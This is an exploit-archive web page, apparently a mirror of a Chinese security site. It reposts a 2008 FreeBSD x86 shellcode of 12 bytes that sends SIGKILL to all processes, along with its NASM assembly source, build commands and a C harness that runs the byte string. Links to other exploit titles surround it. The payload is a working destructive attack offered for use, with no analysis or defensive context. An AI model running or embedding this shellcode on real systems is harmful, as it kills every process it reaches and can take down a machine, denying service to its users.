首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
freebsd/x86 kill all processes 12 bytes
来源:DaRk-CodeRs Group productions 作者:suN8Hclf 发布时间:2008-09-10  
            ***(C)oDed bY suN8Hclf***
       DaRk-CodeRs Group productions, kid
[FreeBSD x86 kill all procesess 12 bytes shellcode]


Compile:
nasm -f elf code.asm
ld -e _start -o code code.o

Assembly code:
---------------------code.asm-------------------
section .text
global _start

_start:
xor eax, eax
push byte 9 ; SIGKILL
dec eax
push eax    ; -1 (0xffffffff)
inc eax
mov al, 37  ;kill() syscall number, check /usr/src/sys/kern/syscalls.master for details
push eax
int 0x80
---------------------code.asm-------------------

And C code:
---------------------code.c---------------------
#include <stdio.h>

char shellcode[]=
"\x31\xc0\x6a\x09\x48\x50\x40\xb0\x25\x50\xcd\x80";

int main()
{
int (*func)();
func=(int (*)())shellcode;
(int)(*func)();
}
---------------------code.c---------------------


Greetz: all DaRk-CodeRs guys, e.wiZz!, doctor
Visit : www.dark-coders.pl

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microworld Mailscan 5.6.a Pass
·linux/x86 system-beep shellcod
·Microsoft Windows Image Acquis
·Samsung DVR SHR2040 HTTPD Remo
·MemHT Portal <= 3.9.0 Remote C
·Peachtree Accounting 2004 (PAW
·Simple Machines Forum <= 1.1.5
·Wordpress 2.6.1 (SQL Column Tr
·Flock Social Web Browser 1.2.5
·Numark Cue 5.0 rev 2 Local .M3
·CitectSCADA ODBC Server Remote
·MicroTik RouterOS <= 3.13 SNMP
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved